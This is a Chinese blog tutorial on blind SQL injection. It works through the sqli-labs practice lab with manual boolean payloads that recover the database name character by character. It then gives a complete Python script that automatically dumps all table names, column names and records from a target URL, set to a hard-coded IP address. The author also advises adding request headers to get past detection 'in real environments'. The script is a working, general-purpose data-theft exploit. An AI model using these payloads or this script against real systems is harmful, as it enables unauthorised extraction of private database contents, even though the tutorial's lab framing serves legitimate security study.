sql注入之盲注

作者: 程序员Sunny | 来源:发表于2018-07-07 22:19 被阅读38次
    图片.png

    传送门:


    写了那么多篇sql注入的文章,现在终于要说到盲注了。盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程,至于为什么这么说,看到后来大家就明白了。
    首先我们还是以sqli-labs为载体,我们应该看到第lesson 8了。首先还是来看一下界面。


    图片.png

    尝试一下输入id=1,看到结果并没有太多有用的信息。


    图片.png
    然后还是和之前一样,尝试加各种引号括号之类的,结果发现双引号和括号都不影响出现正常结果,在输入单引号的时候,界面上的“You are in.....”消失了。这说明两点:
    1. 后台中这个id是用单引号包裹的,这样我们就可以通过单引号来闭合。
    2. 这里界面上不显示报错信息,这样我们就没法通过基于错误提示的方法。
      为了验证第二点,我们尝试双查询注入:
    [domain]/Less-5/?id=1' union select 1,count(*),concat_ws(':',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2)) as a from information_schema.tables group by a %23
    

    在尝试了若干次后,终于出现了错误界面,只不过不显示任何错误信息。


    图片.png

    所以,在这里,我们只能选择盲注。作为示例,我们还是选择求出我们当前的数据库。其他的类似的方法求的即可。
    我们首先关注一下几个函数:

    • ascii(str): str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。
    • substr(str,start,len): 这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。
    • length(str): 这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。
    • count([column]): 这个函数大家应该很熟,用来统计记录的数量的,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。
      if(condition,a,b): 当condition为true的时候,返回a,当condition为false的时候,返回b。
      于是我们首先要获取到当前数据库的长度,可以通过以下payload来实现:
    [domain]/Less-5/?id=1' and (select length(database())>1) and '1'='1    返回true
    [domain]/Less-5/?id=1' and (select length(database())>10) and '1'='1    返回false
    [domain]/Less-5/?id=1' and (select length(database())>5) and '1'='1     返回true
    [domain]/Less-5/?id=1' and (select length(database())>7) and '1'='1     返回true
    [domain]/Less-5/?id=1' and (select length(database())>8) and '1'='1     返回false
    

    细心的童鞋应该发现了,Sunny这里用的是二分法,这样可以有效减少查询次数。最后发现数据库的长度比7大,但是不大于8。也就是数据库的长度为8。
    然后我们就利用ascii和substr来查看数据库名称的每一位了。首先还是给出第一位的payload,其他都类似。另外,值得一提的是,这里是利用ascii码获取的,而且字符都是可见字符,所以ascii码的范围在32到127之间。

    [domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>32) and '1'='1     返回true
    [domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>127) and '1'='1     返回false
    [domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>79) and '1'='1     返回true
    [domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>103) and '1'='1     返回true
    [domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>115) and '1'='1     返回false
    [domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>109) and '1'='1     返回true
    [domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>112) and '1'='1     返回true
    [domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>113) and '1'='1     返回true
    [domain]/Less-5/?id=1' and ((select ascii(substr(database(),1,1)))>114) and '1'='1     返回true
    

    说明第一个字母的ascii码大于114但是不大于115,因此,它的ascii码就是115,所以第一个字母为‘s’。同样的方法,大家可以获得接下来的其他七个字母,最终得到“security”。
    通过这个方法,我们可以首先通过information_schema库中的tables表查看某个我们感兴趣的数据库下的所有的表的数量,然后我们按照limit的方法选取某个表,通过length得到它的名字的长度,随后得到它的完整表名,同理通过columns表获得某个表下的所有字段数量,并且获得每个字段的名称长度和具体名称。最后就是查出某个表下的记录数量,并且根据字段去获取某条记录的某个字段值的长度,随后是获得该值的内容。
    总体来说,这个方法没什么难度,应该说和双查询那样的语法难度可能也差不多。就是盲注的过程较为繁琐,手工注入需要极大的耐心,因此,我们通常可以选择利用脚本来进行注入。Sunny分享一下很久之前写的脚本。

    import urllib
    import urllib2
    
    tableData = []
    
    url = "http://125.216.242.51/Less-8/?id=1"
    success_str = "You are in"
    
    asciipayload = "' and ascii(substr((%s),%d,1))>=%d #"
    lengthpayload = "' and length(%s)>=%d #"
    tablenumpayload = "' and (select count(table_name) from information_schema.tables where table_schema = '%s')>=%d #"
    tablenamelenpayloadfront = "' and (select length(table_name) from information_schema.tables where table_schema = '%s' limit "
    tablenamelenpayloadbehind = " ,1)>=%d #"
    recordnumpayload = "' and (select count(*) from %s)>=%d #"
    selectTable = "select table_name from information_schema.tables where table_schema = '%s' limit %d,1 "
    
    
    def getLengthResult(payload,in_str,len):
        #print 'len=' + str(len)
        final_url = url + urllib.quote(payload % (in_str,len))
        #print final_url
        res = urllib2.urlopen(final_url)
        res_str = res.read()
        #print res_str
        if success_str in res_str:
            return True
        else:
            return False
    
    def getAsciiResult(payload,in_str,pos,ascii):
        final_url = url + urllib.quote(payload % (in_str,pos,ascii))
        res = urllib2.urlopen(final_url)
        res_str = res.read()
        if success_str in res_str:
            return True
        else:
            return False
    
    def getLength(payload,str):
        leftLen = 0
        rightLen = 0
        guess = 10
        step = 5
        flag = False
        while 1:
            if getLengthResult(payload,str,guess) == True:
                guess = guess + step
                flag = True
            else:
                if flag == True:
                    rightLen = guess
                    leftLen = guess - step
                else:
                    rightLen = guess
                break
        #print leftLen,rightLen
        if rightLen - leftLen > 10:
            #binary serch
            while leftLen < rightLen-1:
                midLen = (leftLen + rightLen) >> 1
                if(getLengthResult(payload,str,midLen) == True):
                    leftLen = midLen
                else:
                    rightLen = midLen
            return leftLen
        else:
            #one by one
            for i in range(leftLen,rightLen+1):
                #print i
                if(getLengthResult(payload,str,i) == False):
                    return i-1
    
    def getAscii(payload,str,len):
        res = ''
        #32->127
        for i in range(1,len+1):
            leftAsc = 32
            rightAsc = 127
            #binary search
            while leftAsc < rightAsc - 1:
                midAsc = (leftAsc + rightAsc) >> 1
                if(getAsciiResult(payload,str,i,midAsc) == True):
                    leftAsc = midAsc
                else:
                    rightAsc = midAsc
            res += chr(leftAsc)
        return res
    
    #the i table
    def getSingleTableData(i):
        singleTableData = []
        tmpTableData = tableData[i-1]
        for j in range(1,tmpTableData["recordNum"]+1):
            pieceData = getPieceData(i,j)
            singleTableData.append(pieceData)
        #print singleTableData
        return singleTableData
    
    #the i table, the j record
    def getPieceData(i,j):
        pieceData = {}
        tmpTableData = tableData[i-1]
        tableName = tmpTableData["name"]
        for column in tmpTableData["columns"]:
            pieceData[column] = getSingleData(tableName,j,column)
        return pieceData
    
    #the i record
    def getSingleData(tableName,i,columnName):
        #print tableName,i,columnName
        datalenpayload = "' and (select length(" + columnName + ") from %s limit " + str(i-1) + ",1)>=%d #"
        singleDataLen = getLength(datalenpayload,tableName)
        #print singleDataLen
        selectsingledata = "select " + columnName + " from " + tableName + " limit " + str(i-1) + ",1"
        singleData = getAscii(asciipayload,selectsingledata,singleDataLen)
        return singleData
    
    def solve():
        #get database length
        dbLen = getLength(lengthpayload,"database()")
        print "database length is " + str(dbLen)
        #get database name
        dbName = getAscii(asciipayload,"select database()",dbLen)
        print "database name is " + dbName
        #get tables in this database
        tableNum = getLength(tablenumpayload,dbName)
        print "there is " + str(tableNum) + " tables in " + dbName
        print "\n"
        #get tables' name
        for i in range(1,tableNum+1):
            tmpTableData = {}
            columnnumpayload = "' and (select count(column_name) from information_schema.columns where table_schema = '" + dbName + "' and table_name = '%s')>=%d #"
    
            print "get the " + str(i) + " table"
            #get the table name length
            tmpTableLen = getLength(tablenamelenpayloadfront + str(i-1) + tablenamelenpayloadbehind,dbName)
            print "table" + str(i) + "'s name length is " + str(tmpTableLen)
            #get the table name
            tmpTableName = getAscii(asciipayload,selectTable % (dbName,i-1),tmpTableLen)
            tmpTableData['name'] = tmpTableName
            print "table" + str(i) + "'s name is " + tmpTableName
            #getRecordNum
            tmpRecordNum = getLength(recordnumpayload,tmpTableName)
            tmpTableData['recordNum'] = tmpRecordNum
            print "table" + str(i) + "'s record num is " + str(tmpRecordNum)
            #get the columns num
            tmpColumnNum = getLength(columnnumpayload,tmpTableName)
            #print columnnumpayload
            print "table" + str(i) + "'s columns num is " + str(tmpColumnNum)
            #get columns' name
            columnName = []
            for j in range(1,tmpColumnNum + 1):
                #get column's length
                columnlenpayload = "' and (select length(column_name) from information_schema.columns where table_schema = '" + dbName + "' and table_name = '%s' limit " + str(j-1) + ",1)>=%d #"
                tmpColumnLen = getLength(columnlenpayload,tmpTableName)
                print "column " + str(j) + "'s length is " + str(tmpColumnLen)
                selectconlumn = "select column_name from information_schema.columns where table_schema = '" + dbName + "' and table_name = '" + tmpTableName + "' limit " + str(j-1) + ",1"
                tmpColumnName = getAscii(asciipayload,selectconlumn,tmpColumnLen)
                columnName.append(tmpColumnName)
                print "column " + str(j) + "'s name is " + tmpColumnName
                #print columnName
            tmpTableData['columns'] = columnName
            tableData.append(tmpTableData)
            #print tableData
            print "**********************************************************************************************************************"
            print "\n"
        for i in range (1,len(tableData)+1):
            print "get the " + str(i) + "'s record"
            singTableData = getSingleTableData(i)
            tableData[i-1]["record"] = singTableData
        print tableData
    #solve()
    #columnnumpayload = "' and (select count(column_name) from information_schema.columns where table_schema = 'security' and table_name = '%s')>=%d #"
    #tmpColumnNum = getLengthResult(columnnumpayload,"users",4)
    #print getSingleData("users",1,"username")
    solve()
    

    大家可以根据自己的实际情况来写脚本进行注入,不过在真实环境下,要注意脚本中需要加入一个headers,毕竟很多还是会进行一定的检测防止脚本的。

    总结

    关于sql注入盲注的代码,Sunny之前就放在了码云上,欢迎大家查看。
    代码地址
    另外,转载请注明来源:https://www.jianshu.com/p/914e93a5344b


    欢迎评论留言交流,有两种方式:

    第一种

    评论留言

    第二种

    邮箱联系:zsunny@yeah.net

    相关文章

      网友评论

      本文标题:sql注入之盲注

      本文链接:https://www.haomeiwen.com/subject/kznguftx.html